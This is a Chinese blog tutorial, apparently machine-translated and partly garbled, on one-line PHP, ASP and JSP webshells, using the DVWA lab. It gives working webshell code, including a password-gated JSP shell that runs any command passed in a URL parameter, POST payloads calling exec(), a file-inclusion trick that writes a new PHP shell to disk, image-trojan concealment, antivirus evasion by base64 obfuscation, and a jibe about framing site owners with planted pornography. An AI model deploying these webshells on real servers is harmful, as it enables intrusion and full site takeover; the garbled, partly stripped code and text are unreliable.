大家好,我是建筑先生,一个会写代码、会背诗的建筑师。 昨天,我一言以蔽之地讲了网络安全,木马_网络安全入门php一句话木马,希望能够帮助你进步!!!
概述
在很多渗透过程中,渗透者都会将一句话木马(简称Webshell)上传到当前Web服务目录,然后打包获取系统权限,无论asp、php、jsp、aspx。 这个一句话特洛伊木马是什么? ?
我们来看一个最简单的一句话木马:
复制
只听见建筑师办公室里传出建筑师的声音:松针如酒,多少春酿。 有谁能回答第二行或上面一行吗?
【基本原理】利用文件上传漏洞将一句话木马上传到目标网站,然后可以通过中文菜刀chopper.exe在本地获取并控制整个网站目录。 @表示虽然前面执行了执行错误,但是没有报错。 eval()函数表示将括号中的所有句子字符串作为代码执行。 $_POST['attack'] 表示从页面获取attack的参数值。
入侵条件
其中,攻击者只要满足三个条件,即可实现入侵成功:
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
复制
一般的方法
常见的一句话木马:
php的一句话木马:
asp的一句话是:
aspx的一句话是:
复制
我们可以直接将这句话插入到网站的asp/aspx/php文件中,或者直接新建一个文件,在上面写入这句话,然后将文件上传到网站。
基本的
首先我们看一个原始简单的php一句话木马:
复制
听到这里,我不得不赞叹师父的智慧。 对于一个稍微懂一点php的人,或者是中级安全爱好者,或者是脚本小子来说,首先听到的就是密码是cmd,通过post提交数据,以及如何执行,但是不清楚。 如你所知,我们来分析一下句子是如何执行的。
这些话是什么意思?
(1)上面要写php代码,服务器能够识别出是php代码,然后进行解析。 (2)@符号表示不报错,即使执行出错也不会报错。
为什么? 由于没有定义变量,所以使用了它,服务器善意地提醒:注意,你的xxx变量没有定义。 这样不会暴露密码吗? 所以我们添加@。
(3)为什么密码是cmd?
那么我们就要明白这句话的意思。 php 上的几个超全局变量:_GET、_POST 就是其中之一。
注意:传输数据有两种方式,get、post,post是将数据存储在消息体中,get是将数据存储在消息头的url路径中(如xxx.php?a=2)
(4)如何理解eval()函数?
eval() 将字符串作为 PHP 代码执行。
例如: eval("echo'a'"); 虽然相当于直接echo'a'; 我们先看一下,以post的形式接收变量pw,例如:pw=echo'a'; 这时候代码就变成了。 结果如下:
连接的意思是:以post方式接收变量pw,并将变量pw上面的字符串作为php代码执行。 所以你也可以这样玩:即你要执行哪些代码,将代码放入变量pw中,用post向木马传输一句话。 如果你想检查目标硬盘中是否有色情电影,可以使用php函数:opendir()和readdir()等。如果你想上传一些色情内容并诬告网站所有者,可以使用php 函数:move_uploaded_file. 其实相应的html应该写得很好。 如果要执行cmd命令,请使用exec()。
其实前提是:在php配置文件php.ini中,关闭安全模式safe_mode=off,然后查看禁用函数列表disable_functions=proc_open、popen、exec、system、shell_exec,去掉exec,确保没有exec(一些cms为了方便处理个别功能,将被删除)。
我们来看看效果,POST代码如下:
cmd=header("Content-type:text/html;charset=gbk");
exec("ipconfig",$out);
echo '';
print_r($out);
echo '
';
复制
这里我们可以看到系统直接执行了系统命令。 SO,你现在应该明白为什么要说这么简短的一句话了吧!
特洛伊木马
我们来看看如何通过DVWA的文件上传漏洞来利用一句话木马。 关于文件上传漏洞,请阅读以下文章:文件上传漏洞。
中国砍刀
【实验方案】首先将一句话木马文件Hack.php保存到本地(桌面)(可以用记事本编辑后更改文件后缀):
复制
拿出来,步入DVWA平台::8088/DVWA/index.php,打算开始实验。
在低安全级别下,查看后台源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';}else{//是的!回声"
{
$target_path} succesfully uploaded!
“;}}?>
复制
从源码中发现,底层并没有对上传的文件进行任何验证。 这样就可以直接上传PHP或者ASP一句话木马了,本例使用的是php。
(1)我们直接上传规划好的一句话木马,然后就可以看到回显的路径:
(2)然后就可以使用斧头来连接,在砍刀界面上右键,然后点击添加。 然后填写相关数据,如右图:
“中国砍刀”页面操作说明:
1、是连接的URL,是网站的主路径加上上传文件时回显的保存路径; 2、是斧头连接时的密码,就是上图中一句话提交的数据(本例为“pass”); 3.是句子的分析类型,可以是asp、php、aspx。 不同的分析类型在一句话中具有不同的内容和文件扩展名。
(3) 之后就可以看到连接成功的界面:
(4)然后双击或右键单击“文件管理”,进入如下界面:
我们看到了整个网站的结构和文件,甚至暴露了我笔记本电脑的整个C盘存储! ! 任何非法增删改查都可以! ! 网站(主机)已经崩溃了......
图片木马
木马如何上传成功? 一般防御者会过滤类型、大小等。 另外,如果规定是上传的图片,则会采集该图片。 尽管攻击者改变了文件类型,但仍然无法通过图片集。 所以这就需要一张图片来进行保护。 变成隐藏在图片下面的特洛伊木马。 linux和windows都有相应的命令,这样就可以将一个文件合并到另一个文件的前面,从而达到隐藏的目的。
里面进行DVWA实验,安全级别高,先继续查源码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';}else{//是的!回声"
{
$target_path} succesfully uploaded!
";}}else{//文件回显无效'
Your image was not uploaded. We can only accept JPEG or PNG images.
';}}?>
复制
可以看到,High级别的代码读取的是最后一个“.”之后的字符串。 在文件名中,并且期望通过文件名限制文件类型,因此上传文件名必须是“*.jpg”、“.jpeg”、“*.png”其中之一。 同时getimagesize()函数限制上传文件的文件头为图片类型。
我们需要将上传文件的文件头伪装成图片。 首先,使用复制命令将一句话木马文件Hack.php与普通图片文件ClearSky.jpg合并:
【备注】以下是在CMD下使用复制命令制作“图片木马”的步骤,其中ClearSky.jpg/b中的“b”表示“二补码文件”,hack.php中的“a” /a 表示 ASCII 码文件。
生成带有木马的图片文件hack.jpg:
然后我们打开生成的图片木马文件,我们可以看到图片文件的末尾已经附加了一句话木马:
之后我们尝试上传生成的木马镜像文件hack.jpg,上传成功! ! !
获取图片木马:
拿出来,上菜刀! ! ! ! ! ! ! ! ! ! !
但由于是图片木马,无法解析PHP脚本,砍刀连接木马失败:
既然图片木马也很难解析,那我们该怎么办呢? 高级程序只允许上传图片...别慌,这里结合DVWA靶场自带的文件就可以成功上传PHP木马并连接到菜刀上。
首先通过上述方法新建一个图片木马,并将图片文件前面的PHP脚本修改为:
<?php fputs(fopen('muma.php','w'),''); ?>
复制
然后新建一个图片木马,如右图所示:
然后上传到DVWA,然后利用该文件包含漏洞模块来访问木马文件:
访问地址如下::8088/DVWA/vulnerability/fi/?page=file:///C:SoftWarePhpStudy2016WWWDVWAhackableuploadshacker.jpg,如右图:
此时,在DVWA文件包含漏洞的路径下,手动生成PHP单字木马脚本文件muma.php,如右图所示:
此时再次连接菜刀,即可连接成功:
至此,我们已经成功结合文件包含漏洞php一句话木马,在只能上传图片的文件上传功能上上传了图片木马,并生成了句子木马。 最后附上一篇博文,介绍了图片木马+解析漏洞的利用方式:PHP图片木马。
木马加壳程序
即使木马能够正常运行,过一段时间后会不会被管理员杀掉呢? 如何包装? 事实上,该木马上传成功,只要管理员防毒,全部可以查杀。 而且,会很明显,这是侧门。 因此,作为攻击者,你必须了解各种加壳方法。 后卫的防守非常简单。 每当山顶有新的包装方式被曝光时,安全人员就会立即将这个东西放入黑名单,让这些包装方式失效。 因此,攻击者必须不断创新,发明新的加壳方法。
【如何避免杀戮】:
1. 重新编码源代码。
2、将那句话中的木马进行Base64编码,存入“乱七八糟”的代码中,看图即可:
3、依然是一句话木马,进行了改造,不过这次的改造是链表中的通配符对改造。 非常强壮。
不得不说,打包的想法越脏越好。 研究看起来很有趣。 等渗透熟练之后,我会研究PHP代码的各种加壳方式。 这很有趣,但这个想法很肮脏。
小马和大马
小马和大马都是网页类型中的一种侧门,用于控制网站的权限。 主要区别在于小马是用来上传到大马的。 通过Pony上传到马来西亚,这时候就有一个疑问,其实也不是多余的,为什么要用Pony上传到马来西亚,为什么不直接上传到马来西亚使用呢。 虽然有小马体积较小,比大马有更强的隐蔽性优势,但是在文件大小的上传限制上存在漏洞,所以就有了小马,小马一般用作一个备用的侧门。
网络小马
Pony的体积很小,只有2KB,而且它的隐蔽性也很好。 因为Pony的功能很简单,就是一个上传功能,没有其他的了。 它的功能只是用来上传文件,所以它还可以进行一些安全扫描。 Pony是为了方便上传到马来西亚。 由于漏洞较多,有上传限制,马来西亚无法上传,所以我们只能先上传到Pony,然后再通过Pony上传到马来西亚。 小马还可以通过 IIS 漏洞以及图像合成来运行。
我们在Java语言编译后台使用JSP木马,与上面的一句话木马不同。 砍刀里的JSP木马比较长。 下面是一个简单的JSP小马:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
“);}%>
复制
上传成功后若能解析,请求:服务器IP:port/Shell/cmd.jsp?pwd=123&i=ipconfig执行命令。
马来西亚网
Dama的体积比较大,一般在50K左右,比小马大很多倍,但是相应的功能也非常强大,包括数据管理、命令操作、数据库管理、解压、打包等功能都非常强大。 这些马来西亚网站一旦种下,网站基本上就在这个马来西亚人的控制之下了。 马来西亚的隐蔽性不好,因为涉及很多敏感代码,安全程序很容易被扫描到。
中国砍刀一句不算,砍刀一句通过客户端操作也很强大,一句代码可以和马来西亚实现的一样。 我们这里所说的小马、大马指的是网页类型。 小马是用来配合上传大马的。 这是它的主要功能。 另外,小马还可以作为备用侧门。 通常大马很容易被发现,而小马更容易隐藏在系统文件夹中。
我们看一下使用Malaysia的例子:将PHP Malaysia上传到虚拟机中的DVWA(源码附在最后):
访问木马文件123.php,提交密码123456,进入马来西亚的功能列表。 文件管理功能如右图所示:
继续访问命令执行功能(其他功能未展示):
最后附上PHP马来西亚的代码(代码太长,链接百度网盘):提取码:56pd。 另外,提供了JSP Malaysia的参考地址:。
网页外壳
Webshell是一种以asp、php、jsp或cgi等网页形式存在的命令执行环境,也可以称为网页侧门。 黑客入侵网站后,通常会将asp或php侧门文件与网站服务器WEB目录下的正常网页文件混合在一起,然后可以使用浏览器访问asp或php侧门来获取命令执行环境来达到控制网站服务器的目的。
根据脚本,webshell可分为PHP脚本木马、ASP脚本木马以及基于.NET的脚本木马和JSP脚本木马。 在美国,也有用python脚本语言编写的动态网页,实际上还有与之相关的webshell。 根据功能,webshell也分为大木马、小木马和一句话木马。 例如,一般将这句话写到一个文件中,然后将文件名改为xx.asp。 然后将其传递给服务器。 使用eval方法将request("pass")转换为代码执行,而request函数的作用就是申请外部文件。 这相当于一句话木马的客户端配置。 具体分类如右图:
明天的文章到此结束。 感谢您的阅读。 Java架构师必读。 祝你升职加薪,年年好运。